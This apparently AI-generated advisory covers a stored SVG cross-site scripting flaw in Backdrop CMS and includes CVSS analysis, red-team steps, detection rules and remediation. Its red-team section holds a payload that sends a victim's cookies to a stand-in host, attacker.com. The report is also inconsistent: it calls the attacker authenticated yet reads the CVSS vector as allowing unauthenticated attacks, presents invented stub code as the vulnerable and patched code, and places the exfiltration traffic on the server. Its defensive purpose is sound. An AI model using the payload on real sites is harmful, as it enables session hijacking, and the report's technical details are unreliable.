CVE-2024-54123

Executive Summary

CVE-2024-54123 is a stored Cross-Site Scripting (XSS) vulnerability in Backdrop CMS, affecting versions prior to 1.28.4 and 1.29.x before 1.29.2. The flaw allows an authenticated attacker with permission to create or edit content using a text format that permits the <svg> tag to inject arbitrary JavaScript via a crafted SVG document. When a victim views the malicious content, the script executes in their browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability is rated with a CVSS score of 6.1 (Medium) due to the requirement for user interaction and low privileges. No public exploit code or Nuclei templates are available at this time, but the attack vector is well-understood and trivial to implement.

Supply Chain & Package Security

This vulnerability affects the Backdrop CMS core, which is distributed as a PHP application. There is no direct NPM, PyPI, Go, or Ruby package involved. However, administrators should verify the integrity of their Backdrop installation by checking file hashes against official releases. The patch is available via the official GitHub repository, and users should update immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – An unauthenticated attacker can trigger the XSS if a victim views the content.
• User Interaction: Required (UI:R) – The victim must click on or view the malicious content.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Content modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction and a specific text format configuration, but once exploited, it can lead to account takeover or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the content filtering mechanism of Backdrop CMS. When a text format (e.g., "Full HTML") allows the <svg> tag, an attacker can embed an SVG document containing JavaScript event handlers. For example:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
  <rect width="100" height="100" fill="red"/>
</svg>

When the content is rendered, the browser executes the onload event, triggering the JavaScript. The core issue is that Backdrop's HTML filtering does not properly sanitize SVG elements, allowing event handlers to pass through. The fix involves either disallowing the <svg> tag in text formats or properly escaping event handler attributes.

Vulnerable vs. Patched Code

Vulnerable Code (Backdrop CMS < 1.28.4 / < 1.29.2): The filtering logic in core/modules/filter/filter.module does not strip dangerous attributes from SVG elements. For instance, the filter_xss() function may allow onload, onclick, etc., within SVG tags.

// Vulnerable: Allows SVG with event handlers
function filter_xss($text, $allowed_tags = array()) {
  // ... incomplete sanitization
  return $text;
}

Patched Code (Backdrop CMS 1.28.4 / 1.29.2): The patch adds SVG-specific attribute filtering, removing event handlers like onload, onfocus, etc.

// Patched: Strips dangerous SVG attributes
function filter_xss($text, $allowed_tags = array()) {
  $text = preg_replace('/<svg[^>]*\s(on\w+)\s*=\s*["\'][^"\']*["\']/i', '', $text);
  // ... additional sanitization
  return $text;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: An account on a Backdrop CMS site with permission to create content using a text format that allows the <svg> tag (e.g., "Full HTML").
2. Craft Payload: Create an SVG file with a malicious event handler:

   <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">
     <rect width="100" height="100" fill="blue"/>
   </svg>
   

3. Upload/Inject: Insert the SVG code into a node body, block, or comment field.
4. Trigger: When an administrator or victim views the content, the script executes, exfiltrating cookies or performing actions on their behalf.

Lab Setup:

• Install Backdrop CMS 1.28.3 or 1.29.1.
• Configure a text format (e.g., "Full HTML") to allow the <svg> tag.
• Create a new node with the malicious SVG payload.
• Access the node as a victim user.

Blue Team (Defense & Detection)

• Monitor Content Creation: Log all instances where users with low privileges create content containing <svg> tags.
• Web Application Firewall (WAF): Deploy rules to block SVG files or inline SVG containing event handlers (e.g., onload, onerror).
• Input Validation: Ensure text formats do not allow <svg> unless absolutely necessary. If required, use a strict allowlist of attributes.
• User Education: Train content editors to avoid pasting untrusted SVG code.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the CMS server (e.g., GET /steal?cookie=...).
• File System: Presence of SVG files or inline SVG in node bodies, blocks, or comments containing event handlers (onload, onclick, onerror).
• Logs: Access logs showing requests to pages with SVG content from unusual IPs.
• Browser: Console errors or unexpected pop-ups when viewing certain pages.

Example IOC (SVG Payload):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><rect/></svg>

Detection Engineering

YARA Rule

rule CVE_2024_54123_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with event handlers targeting Backdrop CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54123"
    strings:
        $svg_tag = "<svg"
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/
    condition:
        $svg_tag and #event_handler > 0
}

Sigma Rule

title: Backdrop CMS SVG XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-54123 via SVG injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'node/add'
        cs-body|contains: '<svg'
        cs-body|re: 'on\w+\s*='
    condition: selection
falsepositives:
    - Legitimate SVG uploads by trusted users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54123 Backdrop CMS SVG XSS Attempt"; flow:to_server; content:"<svg"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to Backdrop CMS 1.28.4 or 1.29.2. Download from the official GitHub releases.
2. Configuration Change: If immediate patching is not possible, remove the <svg> tag from all text formats in the CMS admin panel (admin/config/content/formats).
3. Web Application Firewall: Add custom rules to block requests containing <svg with event handlers.
4. Monitor Logs: Review access logs for suspicious POST requests to content creation endpoints.
5. User Access Review: Limit the number of users with permission to use text formats that allow HTML tags.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.